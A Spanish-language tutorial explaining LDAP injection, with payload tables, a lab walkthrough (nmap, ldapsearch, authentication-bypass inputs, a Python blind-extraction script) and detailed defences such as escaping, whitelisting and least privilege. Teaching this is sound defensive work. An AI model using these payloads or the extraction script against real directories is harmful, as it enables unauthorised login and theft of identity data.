Aprende › Vulnerabilidades web

LDAP Injection: qué es, cómo se explota y cómo se corrige

· 12 min de lectura

Inyección LDAP en aplicaciones web: sintaxis de filtros, blind LDAP injection, bypass de autenticación, enumeración de objetos del directorio y defensa con consultas parametrizadas y validación estricta de entrada.

Los directorios LDAP (Lightweight Directory Access Protocol) son la columna vertebral de la gestión de identidades en entornos corporativos. Active Directory de Microsoft, OpenLDAP en Linux y otros servicios de directorio almacenan usuarios, grupos, equipos, políticas y certificados. Cuando una aplicación web construye filtros LDAP concatenando directamente la entrada del usuario, un atacante puede modificar la lógica de la consulta igual que en SQL injection, pero contra un árbol de objetos en vez de tablas relacionales.

LDAP injection lleva años en la lista de OWASP y en CWE-90, pero sigue apareciendo en auditorías porque muchos desarrolladores desconocen la sintaxis de filtros LDAP y asumen que su directorio corporativo está "detrás del firewall" y no necesita protección a nivel de aplicación. La realidad es que cualquier portal de autoservicio de contraseñas, un formulario de búsqueda de empleados o un panel de inicio de sesión que hable LDAP puede ser vulnerable. Es la undécima lección de la Tanda 10 de /aprende.

Practica solo en entornos autorizados o laboratorios propios. Inyectar consultas LDAP contra directorios ajenos es intrusión y un delito tipificado.

Qué es la inyección LDAP#

La inyección LDAP ocurre cuando una aplicación inserta datos del usuario directamente en un filtro LDAP sin sanear ni escapar los metacaracteres del protocolo. Un filtro LDAP típico tiene esta forma:

(&(uid=juan)(userPassword=secreto123))

Si la aplicación construye ese filtro concatenando el nombre de usuario sin validación, el atacante puede cerrar el paréntesis, añadir condiciones arbitrarias o anular la comprobación de contraseña.

Flujo de una inyección LDAP: entrada del usuario manipula el filtro y altera la consulta al directorio
Flujo de una inyección LDAP: entrada del usuario manipula el filtro y altera la consulta al directorio

La diferencia fundamental con SQL injection es el modelo de datos. LDAP no tiene tablas ni columnas: tiene un árbol jerárquico de entradas (Distinguished Names) con atributos. Los operadores lógicos se escriben en notación prefija polaca (el operador va antes de los operandos), lo que cambia la forma de construir payloads. Donde en SQL escribirías OR 1=1, en LDAP necesitas entender la sintaxis de filtros RFC 4515 y cómo se evalúan los operadores &, | y !.

Los directorios LDAP suelen contener información extremadamente sensible: hashes de contraseñas, membresías de grupos privilegiados, datos personales de empleados (correo, teléfono, departamento), nombres de equipos y hasta claves de servicio. Una inyección exitosa puede dar acceso a todo eso sin necesidad de credenciales válidas.

Por qué ocurre: la causa raíz#

La causa raíz es la misma que en toda inyección: mezclar datos con instrucciones. Cuando el código construye el filtro LDAP con concatenación de cadenas, los metacaracteres del usuario se interpretan como parte de la consulta.

Código PHP vulnerable (patrón clásico):

$filtro = "(&(uid=" . $_POST['usuario'] . ")(userPassword=" . $_POST['clave'] . "))";
$resultado = ldap_search($conexion, $base_dn, $filtro);

Si el usuario envía admin)(uid=*))(|(uid= como nombre, el filtro resultante es:

(&(uid=admin)(uid=*))(|(uid=)(userPassword=loquesea))

El servidor LDAP evalúa el primer filtro completo (&(uid=admin)(uid=*)), que siempre es verdadero si existe el usuario admin. El resto queda como basura sintáctica que muchos servidores ignoran.

Otras causas frecuentes:

  • Frameworks web antiguos que no ofrecen bindings parametrizados para LDAP.
  • Desarrolladores que validan contra SQL injection pero desconocen los metacaracteres LDAP: (, ), *, \, NUL (\00).
  • Servidores LDAP configurados para aceptar anonymous binds o binds con contraseña vacía, lo que amplifica el impacto de una inyección.
  • Aplicaciones que usan LDAP solo para autenticación y no aplican el principio de mínimo privilegio: la cuenta de servicio tiene permisos de lectura sobre todo el directorio.

Tipos y variantes#

VarianteMecanismoEjemplo de payload
Bypass de autenticaciónCerrar el filtro de uid e inyectar condición siempre verdaderausuario: admin)(&) / admin)(uid=*)
Inyección ORAñadir operador OR para obtener todas las entradasusuario: )(uid=))(...
Blind LDAP injectionInferir datos carácter a carácter por respuesta booleanausuario: admin)(department=IT*
Enumeración de atributosProbar existencia de atributos con wildcardsfiltro: (atributoDesc
Inyección en DNManipular el Distinguished Name base de la búsquedabase_dn: ou=users,dc=corp modificado
NUL byte injectionTruncar el filtro con \00 en implementaciones Cusuario: admin)\00

Dónde aparece#

  • Portales de autoservicio de contraseñas: el usuario introduce su uid para solicitar un reset y la aplicación busca en LDAP sin parametrizar.
  • Formularios de búsqueda de empleados: intranets corporativas con campos de nombre, departamento o ubicación que consultan el directorio.
  • Paneles de inicio de sesión con LDAP backend: aplicaciones que autentican contra Active Directory u OpenLDAP concatenando credenciales en el filtro.
  • APIs de aprovisionamiento: sistemas de identidad que crean o modifican usuarios en LDAP vía llamadas HTTP.
  • Aplicaciones legacy en Java y PHP: frameworks como Apache Directory Studio, phpLDAPadmin o aplicaciones internas escritas hace más de diez años.

Cómo se detecta#

PruebaQué enviarResultado vulnerable
Metacarácter básicoUsuario: )Error LDAP o cambio de comportamiento
WildcardUsuario: *Login exitoso o listado de usuarios
Bypass ANDUsuario: admin)(&)Autenticación sin contraseña
Bypass con ORUsuario: admin)(uid=admin))Autenticación sin contraseña
Blind booleanUsuario: admin)(department=A*Respuesta diferente si el departamento empieza por A
NUL byteUsuario: admin)\00Truncamiento del filtro

Herramientas de detección#

  • Burp Suite: interceptar peticiones y modificar parámetros que se envían al backend LDAP. Burp Intruder con listas de payloads LDAP.
  • OWASP ZAP: escaneo activo con reglas de LDAP injection incluidas en el plugin de inyección.
  • ldapsearch: cliente de línea de comandos para probar filtros directamente contra el servidor LDAP.
  • Nmap NSE ldap-search: script para enumerar el directorio si el bind anónimo está habilitado.
  • Custom scripts en Python: usando la librería ldap3 para automatizar pruebas de inyección con lógica booleana.

Explotación paso a paso en un laboratorio#

Paso 1 — Reconocimiento del servicio LDAP#

Escanea el objetivo buscando puertos LDAP (389 TCP para LDAP, 636 TCP para LDAPS):

nmap -sV -p 389,636,3268,3269 IP_DEL_LAB

Si el puerto 389 está abierto, prueba un bind anónimo:

ldapsearch -x -H ldap://IP_DEL_LAB -b "dc=laboratorio,dc=local" "(objectClass=*)" dn

Si devuelve entradas, el servidor permite lectura anónima y el impacto de una inyección será mayor.

Paso 2 — Identificar el punto de inyección#

Navega al panel de login de la aplicación web. Intercepta la petición de autenticación con Burp Suite:

POST /login HTTP/1.1
Host: IP_DEL_LAB
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

Envía un paréntesis de cierre en el campo username:

username=admin)&password=test123

Si la respuesta cambia (error 500, mensaje de error LDAP, o comportamiento distinto al "credenciales incorrectas" normal), el parámetro es vulnerable.

Paso 3 — Bypass de autenticación#

Prueba el payload clásico de bypass LDAP. Si el filtro del servidor es (&(uid=INPUT)(userPassword=INPUT)), cierra la condición uid e inyecta un filtro siempre verdadero:

username=admin)(%26)
password=lo_que_sea

El %26 es el & URL-encoded. El filtro resultante sería:

(&(uid=admin)(&))(userPassword=lo_que_sea))

El subgrupo (&) sin operandos se evalúa como TRUE en muchas implementaciones. Si la aplicación evalúa solo el primer filtro completo, obtienes acceso como admin sin contraseña.

Otra variante que funciona en implementaciones que ignoran el texto sobrante:

username=admin)(uid=admin))%00
password=ignorado

Paso 4 — Enumeración blind del directorio#

Si la respuesta solo indica "éxito" o "fallo" (sin datos), puedes hacer blind LDAP injection para extraer información carácter a carácter. Automatiza con Python:

import requests

url = "http://IP_DEL_LAB/login"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
atributo = "description"
resultado = ""

for pos in range(50):
    encontrado = False
    for c in charset:
        payload = f"admin)({atributo}={resultado}{c}*"
        resp = requests.post(url, data={
            "username": payload,
            "password": "x"
        })
        if "Bienvenido" in resp.text:
            resultado += c
            encontrado = True
            print(f"[+] {atributo}: {resultado}")
            break
    if not encontrado:
        break

print(f"[*] Valor final de {atributo}: {resultado}")

Este script prueba cada carácter con el wildcard * al final. Si el filtro coincide y la aplicación responde con éxito, ese carácter es correcto.

Paso 5 — Enumeración de usuarios y grupos#

Con el bypass de autenticación confirmado, enumera otros usuarios inyectando en un campo de búsqueda (si la aplicación tiene uno):

*)(objectClass=person)(uid=*

O para listar grupos privilegiados:

*)(objectClass=groupOfNames)(cn=admin*

Qué puede lograr un atacante#

ImpactoDescripción
Bypass de autenticaciónIniciar sesión como cualquier usuario sin conocer su contraseña
Enumeración del directorioExtraer todos los usuarios, grupos, OUs y atributos del árbol LDAP
Exfiltración de datos sensiblesLeer correos, teléfonos, departamentos, descripciones y campos personalizados
Escalada de privilegiosIdentificar miembros de grupos como Domain Admins, Enterprise Admins
Preparación de ataques ADObtener la estructura del dominio para ataques de Kerberoasting, AS-REP Roasting, DCSync
Movimiento lateralDescubrir cuentas de servicio, equipos y relaciones de confianza entre dominios

Cómo se corrige#

Defensa contra LDAP injection: validación, escape, parametrización y mínimo privilegio
Defensa contra LDAP injection: validación, escape, parametrización y mínimo privilegio

Usar consultas parametrizadas o bindings seguros#

La defensa principal es nunca concatenar entrada del usuario en filtros LDAP. En lenguajes que lo soporten, usa bindings parametrizados.

Ejemplo en Python con ldap3 (seguro):

from ldap3 import Server, Connection, SUBTREE
from ldap3.utils.conv import escape_filter_chars

servidor = Server("ldap://directorio.corp.local")
conn = Connection(servidor, user="cn=app,dc=corp,dc=local", password="secreto")
conn.bind()

usuario_input = escape_filter_chars(entrada_usuario)
filtro = f"(&(uid={usuario_input})(objectClass=person))"
conn.search("dc=corp,dc=local", filtro, search_scope=SUBTREE)

La función escape_filter_chars() escapa los cinco metacaracteres de RFC 4515: (, ), *, \ y NUL.

Escapar metacaracteres manualmente#

Si tu framework no tiene función de escape, implementa la tuya siguiendo RFC 4515:

def escape_ldap(valor):
    reemplazos = {
        '\\': '\\5c',
        '*': '\\2a',
        '(': '\\28',
        ')': '\\29',
        '\x00': '\\00',
    }
    for char, escaped in reemplazos.items():
        valor = valor.replace(char, escaped)
    return valor

En PHP:

function escapar_ldap($valor) {
    $especiales = ['\\', '*', '(', ')', "\x00"];
    $reemplazos = ['\\5c', '\\2a', '\\28', '\\29', '\\00'];
    return str_replace($especiales, $reemplazos, $valor);
}

$filtro = "(&(uid=" . escapar_ldap($_POST['usuario']) . ")(objectClass=person))";

Validación estricta de entrada#

Aplica una lista blanca de caracteres permitidos antes de construir el filtro:

import re

def validar_uid(uid):
    if not re.match(r'^[a-zA-Z0-9._-]{1,64}$', uid):
        raise ValueError("UID contiene caracteres no permitidos")
    return uid

Los nombres de usuario legítimos rara vez necesitan paréntesis, asteriscos o barras invertidas. Una regex estricta elimina la mayoría de los vectores.

Principio de mínimo privilegio en la cuenta de servicio#

La cuenta que la aplicación usa para conectarse a LDAP debe tener permisos mínimos:

- Solo lectura sobre la OU de usuarios (no todo el árbol)
- Sin permiso para leer userPassword ni unicodePwd
- Sin permiso para modificar entradas
- Sin acceso a OUs administrativas (Domain Controllers, Admin Groups)

En Active Directory, crea una cuenta de servicio dedicada y usa la delegación de control de AD para otorgar solo los permisos necesarios.

Deshabilitar anonymous bind#

En OpenLDAP, configura en slapd.conf o en la base cn=config:

olcDisallows: bind_anon
olcRequires: authc

En Active Directory, la política por defecto ya restringe los binds anónimos, pero verifica que la GPO "Network access: Do not allow anonymous enumeration of SAM accounts" esté habilitada.

Errores comunes al defenderse#

  • Escapar solo contra SQL injection: los metacaracteres de LDAP son distintos. Una comilla simple (') no tiene significado en LDAP, pero (, ) y * sí. Escapar para SQL no protege contra LDAP injection.
  • Confiar en el WAF sin validar en el backend: un WAF puede detectar patrones conocidos, pero las variantes de encoding (UTF-8, URL encoding doble) lo evaden.
  • Usar la misma cuenta de servicio para leer y escribir: si la inyección permite modificar entradas, el atacante puede crear cuentas o cambiar membresías de grupo.
  • No monitorizar las consultas LDAP: muchas organizaciones monitorizan SQL pero ignoran los logs de su servidor LDAP. Consultas con wildcards masivos o filtros anómalos pasan desapercibidas.
  • Asumir que LDAPS (TLS) protege contra inyección: LDAPS cifra el tránsito, no valida el contenido del filtro. Una inyección funciona igual sobre TLS.
  • Olvidar el NUL byte: incluso con escape de paréntesis y asteriscos, el byte nulo (\x00) puede truncar el filtro en implementaciones escritas en C.

Preguntas frecuentes#

Es lo mismo LDAP injection que SQL injection?#

Comparten el mismo principio (mezclar datos con instrucciones), pero la sintaxis es completamente distinta. LDAP usa notación prefija polaca con paréntesis para operadores lógicos, no tiene sentencias de tipo SELECT/INSERT/UPDATE, y el modelo de datos es un árbol jerárquico en vez de tablas. Los payloads, las herramientas y las defensas son diferentes.

Se puede hacer inyección LDAP si el servidor usa LDAPS?#

Sí. LDAPS cifra la comunicación entre la aplicación y el servidor LDAP, pero la inyección ocurre en la capa de aplicación, antes de que la consulta se envíe. El cifrado protege contra sniffing del tráfico, no contra manipulación del filtro.

Qué relación tiene con Active Directory?#

Active Directory es un servicio de directorio que implementa LDAP como protocolo de acceso. Toda inyección LDAP contra una aplicación que consulte AD puede exponer usuarios, grupos, equipos, GPOs y relaciones de confianza del dominio. Es especialmente grave porque AD suele contener toda la infraestructura de identidad de la organización.

Existe LDAP injection en APIs REST modernas?#

Sí, si la API traduce parámetros HTTP a filtros LDAP en el backend. No importa que la interfaz sea REST con JSON: si internamente la lógica construye un filtro LDAP con concatenación, es vulnerable. Frameworks como Spring LDAP ofrecen LdapQueryBuilder con filtros seguros, pero el desarrollador tiene que usarlos explícitamente.

Cómo se diferencia blind LDAP injection de blind SQL injection?#

El concepto es idéntico (inferir datos por respuestas booleanas), pero las técnicas varían. En blind LDAP usas wildcards (*) y subcadenas para acotar valores carácter a carácter. No hay equivalente directo a SLEEP() o BENCHMARK() de SQL, así que la inyección basada en tiempo es mucho más difícil en LDAP. La extracción suele ser más lenta.

Resumen#

  • LDAP injection ocurre cuando una aplicación concatena entrada del usuario en filtros LDAP sin escapar los metacaracteres (, ), *, \ y NUL.
  • Permite bypass de autenticación, enumeración completa del directorio y exfiltración de datos sensibles de la infraestructura de identidad.
  • La defensa principal es usar funciones de escape como escape_filter_chars() (ldap3) o validación estricta con lista blanca de caracteres.
  • La cuenta de servicio LDAP debe tener permisos mínimos: solo lectura sobre la OU necesaria, sin acceso a contraseñas ni a OUs administrativas.
  • Blind LDAP injection permite extraer datos carácter a carácter mediante wildcards, incluso sin mensajes de error visibles.
  • Monitorizar los logs del servidor LDAP para detectar filtros anómalos es tan importante como monitorizar los logs de SQL.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría